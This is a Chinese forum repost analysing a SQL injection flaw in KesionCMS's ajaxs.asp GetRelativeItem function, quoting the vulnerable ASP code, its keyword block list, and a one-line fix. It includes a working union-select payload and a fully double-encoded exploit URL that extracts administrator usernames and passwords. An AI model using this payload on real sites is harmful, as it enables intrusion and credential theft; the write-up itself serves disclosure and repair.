• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Kesion cms注入漏洞分析及其修复方案

    发布者: 忻慕2619 | 发布时间: 2025-6-28 23:22| 查看数: 92| 评论数: 0|帖子模式

    函数过滤混乱导致注入

    复制代码代码如下:
    Dim KS:Set KS=New PublicCls
    Dim Action
    Action=KS.S("Action")
    Select Case Action
      Case "Ctoe" CtoE
      Case "GetTags" GetTags
      Case "GetRelativeItem" GetRelativeItem //问题函数
      ...skip...
      Case "getonlinelist" getonlinelist
    End Select
    Sub GetRelativeItem() //漏洞函数开始
         Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
         Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
         Dim RKey:Rkey=lcase(KS.G("Rkey"))
         Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
         Dim ID:ID=KS.ChkClng(KS.G("ID"))
         Dim Param,RS,SQL,k,SqlStr
         If Key<>"" Then
           If (Rtitle="true" Or RKey="true") Then
            If Rtitle="true" Then
              param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
            end if
            If Rkey="true" Then
              If Param="" Then
                Param=Param & " keywords like '%" & key & "%'"
              Else
                Param=Param & " or keywords like '%" & key & "%'"
              End If
            End If
         Else
            Param=Param & " keywords like '%" & key & "%'"
         End If
        End If
         If Param<>"" Then
             Param=" where InfoID<>" & id & " and (" & param & ")"
         else
            Param=" where InfoID<>" & id
         end if
          If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
          Param=Param & " and verific=1"
         SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
         Set RS=Server.CreateObject("ADODB.RECORDSET")
         RS.Open SqlStr,conn,1,1
         If Not RS.Eof Then
          SQL=RS.GetRows(-1)
         End If
         RS.Close
         
    先进行了过滤,然后才调用UnEscape解码,

    复制代码代码如下:
    Public Function S(Str)
         S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
    Function DelSql(Str)
           Dim SplitSqlStr,SplitSqlArr,I
           SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
           SplitSqlArr = Split(SplitSqlStr,"|")
           For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
              If Instr(LCase(Str),SplitSqlArr(I))>0 Then
                 Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n      Powered By Kesion.Com!');window.close();</script>"
              End if
           Next
           DelSql = Str
         End Function
         
    如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
    注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
    转换如下:
    /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
    修复方案:
    UnEscape()函数调用位置放在函数体内,或者不调用。

    来源:https://www.jb51.net/hack/57000.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表